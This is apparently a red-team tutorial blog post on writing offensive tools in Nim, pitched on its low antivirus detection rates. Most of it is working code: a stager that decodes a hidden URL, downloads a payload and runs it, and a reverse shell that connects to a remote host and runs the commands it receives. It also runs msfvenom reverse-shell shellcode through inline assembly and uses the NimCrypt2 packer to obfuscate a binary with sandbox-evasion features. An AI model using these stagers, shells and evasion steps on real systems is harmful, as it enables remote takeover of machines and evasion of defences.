Nim is a statically compiled programming language. The language itself is pretty similar scripting languages such as Python.
The Nim compiler translates Nim source code to C before compilation, and supports cross compilation between Operating Systems.
By virtue of it being relativly obscure, Anti-Virus detection rates can be lower compared to other languages, such as C#. As such, it’s been adopted by threat actors.
To install Nim on a Mac with homebrew;
1 | brew install nim --verbose |
To install on a Kali Linux host;
1 2 3 | curl https: //nim-lang .org /choosenim/init .sh -sSf | sh echo "export PATH=$HOME/.nimble/bin:$PATH" >> ~/.bashrc export PATH=$HOME/.nimble /bin :$PATH |
For cross compilation (creating Windows executable on Linux/MacOS), ensure the MinGW compiler is installed;
1 2 | brew install mingw-w64 sudo apt install mingw-w64 |
Then just specify MinGW should be used when compiling.
1 | nim c -d:mingw example.nim |
Writing a Stager
The purpose of this application is to download and execute further code. The code should be relativly self explanitory if you are used to Python.
- The let statement defines a single assignment variable. (Lines 9,10)
- The discard statement does nothing, but needed as the execCmd function must return a value. (Line 16)
5 6 7 8 9 10 11 12 13 14 15 16 | import std/httpclient import std/base64 import std/osproc let encodedurl = "aHR0cHM6Ly93d3cuYm9yZGVyZ2F0ZS5jby51aw==" let decodedurl = decode(encodedurl) var client = newHttpClient() echo "Downloading Content..." writeFile( "payload" , client.getContent(decodedurl)) discard execCmd( "chmod +x ./payload && ./payload" ) |
Compile the application using;
1 | nim c -d:ssl -o:Stager -r Stager.nim |
Writing a Reverse Shell
In this example, we’re using creating a socket to a remote host, executing commands provided and returning a response.
Note, that space characters are used as markup in Nim, but tab characters are not allowed!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import std/osproc import std/times import net import os import streams let ip = "192.168.1.236" let port = 4444 while true : try : echo now(), " Attempting to connect to " , ip, " on port " , port var socket = newSocket() socket.connect(ip, Port(port)) echo now(), " Connected!" while true : try : socket.send( ">" ) var command = socket.recvLine() var result = execProcess(command) socket.send(result) except: echo now(), " Error sending response: " , getCurrentExceptionMsg() break except: echo now(), " Unable to connect to " , ip, " on port " , port, " " , getCurrentExceptionMsg() sleep(2000) |
Compile with;
1 | nim c -o:RevShell -r ReverseShell.nim |
Win32 Access
The WinIm library can be used to interface with the Win32 API.
1 2 3 | import winim/com MessageBox(0, "Test", "Nim is awesome!", 0) |
Executing Shellcode
Since Nim is compiling our code to C, we can use inline assembly to execute shellcode, without using any further API’s (such as VirtualAlloc on Windows).
1 2 3 4 5 6 7 8 | # msfvenom -p linux/aarch64/shell_reverse_tcp EXITFUNC=thread LHOST=127.0.0.1 LPORT=4444 -f csharp proc shellcode(): void = asm "" " .byte 0x40,0x00,0x80,0xd2,0x21,0x00,0x80,0xd2,0x02,0x00,0x80,0xd2,0xc8,0x18,0x80,0xd2,0x01,0x00,0x00,0xd4,0xe3,0x03,0x00,0xaa,0x41,0x03,0x00,0x10,0x02,0x02,0x80,0xd2,0x68,0x19,0x80,0xd2,0x01,0x00,0x00,0xd4,0x60,0x02,0x00,0x35,0xe0,0x03,0x03,0xaa,0x02,0x00,0x80,0xd2,0x01,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x21,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x41,0x00,0x80,0xd2,0x08,0x03,0x80,0xd2,0x01,0x00,0x00,0xd4,0x80,0x01,0x00,0x10,0x02,0x00,0x80,0xd2,0xe0,0x03,0x00,0xf9,0xe2,0x07,0x00,0xf9,0xe1,0x03,0x00,0x91,0xa8,0x1b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x00,0x00,0x80,0xd2,0xa8,0x0b,0x80,0xd2,0x01,0x00,0x00,0xd4,0x02,0x00,0x11,0x5c,0x7f,0x00,0x00,0x01,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ret "" " shellcode() |
NimCrypt2
NimCrypt2 is a Nim based packer for malware, that offers a number of features including LLVM obfuscation. The following commands will install NimCrypt2 (assuming nim is already correctly configured).
1 2 3 4 | git clone https: //github .com /icyguider/Nimcrypt2 cd Nimcrypt2 nimble install winim nimcrypto docopt ptr_math strenc nim c -d=release --cc: gcc --embedsrc=on --hints=on --app=console --cpu=amd64 --out=nimcrypt nimcrypt.nim |
Obfuscation can be added to a compiled binary using the following.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | ┌──(kali㉿kali)-[~/Tools/Nimcrypt2] └─$ ./nimcrypt -f SharpHound.exe -t pe -o output.exe -v -n ___ .-' `'. / \ | ; | | ___.--, _.._ |0) ~ (0) | _.---'`__.-( (_. __.--'`_.. '.__.\ '--. \_.-' ,.--'` `""` ( ,.--'` ',__ /./; ;, '.__.'` __ _`) ) .---.__.' / | |\ \__..--"" ""'--.,_ `---' .'.''-._.-'`_./ /\ '. \ _.-~~~````~~~-._`-.__.' | | .' _.-' | | \ \ '. `~---` \ \/ .' \ \ '. '-._) \/ / \ \ `=.__`~-. Nimcrypt v2 jgs / /\ `) ) / / `"".`\ , _.-'.'\ \ / / ( ( / / 3-in-1 C#, PE, & Raw Shellcode Loader `--~` ) ) .-'.' '.'. | ( (/` ( (` ) ) '-; ` '-; (-' [+] NimlineWhispers2 enabled [+] String encryption disabled [+] Sandbox checks enabled [+] Unhooking ntdll.dll disabled [+] Verbose messages enabled [+] Syscall name randomization disabled Hint: used config file '/home/kali/.choosenim/toolchains/nim-2.2.0/config/nim.cfg' [Conf] Hint: used config file '/home/kali/.choosenim/toolchains/nim-2.2.0/config/config.nims' [Conf] .................................................................................................................................................................................................................... /home/kali/Tools/Nimcrypt2/stub.nim(173, 33) template/generic instantiation of `+` from here /home/kali/.nimble/pkgs2/ptr_math-0.3.0-6561830e9e40dd7c0e33bd9283c77dd01679f59a/ptr_math.nim(60, 27) Warning: use `uint`; ByteAddress is deprecated [Deprecated] /home/kali/Tools/Nimcrypt2/stub.nim(10, 8) Warning: imported and not used: 'strutils' [UnusedImport] CC: stub.nim Hint: [Link] Hint: mm: orc; threads: on; opt: size; options: -d:release 183519 lines; 7.043s; 403.414MiB peakmem; proj: /home/kali/Tools/Nimcrypt2/stub.nim; out: /home/kali/Tools/Nimcrypt2/output.exe [SuccessX] [+] Stub compiled successfully as output.exe |
In Conclusion
These examples are fairly basic, but hopefully give you an idea of how easy it is to create simple tools using Nim.